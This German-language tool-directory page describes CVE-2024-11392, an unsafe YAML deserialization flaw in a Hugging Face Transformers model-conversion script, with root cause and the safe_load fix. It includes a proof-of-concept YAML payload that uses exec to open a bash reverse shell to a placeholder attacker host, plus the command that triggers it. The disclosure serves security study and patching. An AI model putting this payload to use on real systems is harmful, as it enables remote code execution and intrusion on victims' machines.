Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-11392 — Technische Details und Exploit für CVE-2024-11392 | Kitploit
Tools/GitHubGitHub/piyush-bhor/cve-2024-11392
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubpiyush-bhor/cve-2024-11392

CVE-2024-11392

Technische Details und Exploit für CVE-2024-11392

Repository anzeigen
29vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    602
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    392
  • 4

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    319
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    293
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    KI-gestützte OSINT-Engine zur Entdeckung und Kartierung von über 7.700 Social-Media-Identitäten im gesamten Web

    253

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-11392

Hugging Face Transformers MobileViTV2 – Deserialisierung nicht vertrauenswürdiger Daten führt zu Remote Code Execution

Überblick und Auswirkungen der Sicherheitslücke: Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf dem Host-Rechner auszuführen, indem er eine bösartige Konfigurationsdatei an das Skript convert_mlcvnets_to_pytorch.py im Hugging Face Transformers-Repository übergibt. Wenn ein ahnungsloser Benutzer ein Drittanbieter-Modell zusammen mit einer bösartigen Konfigurationsdatei verwendet, führt die Ausführung des Skripts convert_mlcvnets_to_pytorch.py zu einer Remote Code Execution (RCE) auf dem System des Opfers.

Das betroffene Produkt

  • Produkt: Hugging Face Transformers
  • Modul: MobileViTV2
  • Datei: transformers/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py
  • Version: Aktuellste
  • GitHub-Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py

Ursachenanalyse

  • Detaillierte Beschreibung der Sicherheitslücke: Die Sicherheitslücke resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet die Funktion yaml.load mit dem Lader FullLoader, der die gesamte YAML-Sprache lädt und anfällig für Code-Ausführung ist.

  • Codeablauf von der Eingabe bis zur gefährdeten Bedingung:

    1. Der Benutzer lädt ein Drittanbieter-Modell ml-cvnet samt Konfigurationsdatei herunter.
    2. Der Benutzer führt das Skript convert_mlcvnets_to_pytorch.py aus und übergibt ihm die Konfigurationsdatei.
    3. Das Skript convert_mlcvnets_to_pytorch.py deserialisiert die Konfigurationsdatei und führt den bösartigen Code aus.
  • Injektionspunkt: Die Sicherheitslücke tritt an der Stelle auf, an der yaml.load(yaml_file, Loader=yaml.FullLoader) aufgerufen wird. GitHub-Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57

  • Empfohlene Korrekturen: Ersetzen Sie yaml.load(yaml_file, Loader=yaml.FullLoader) durch yaml.safe_load(yaml_file), um die Ausführung beliebigen Codes zu verhindern.

  • Anleitung zur Durchführung des Proof-of-Concept:

  1. Erstellen Sie eine bösartige YAML-Konfigurationsdatei transformers_exploit.yaml, die eine Reverse-Shell auf dem System des Opfers öffnet:
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
  1. Führen Sie das Skript convert_mlcvnets_to_pytorch.py aus und übergeben Sie die Datei transformers_exploit.yaml an --orig_config_path:
> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256

Hinweis: dummy_checkpoint.pt kann als leere Datei belassen werden, dummy_output als leeres Verzeichnis und task als eine der im Skript genannten Optionen.

Link zum Software-Download: https://github.com/huggingface/transformers/tree/main

Tool herunterladen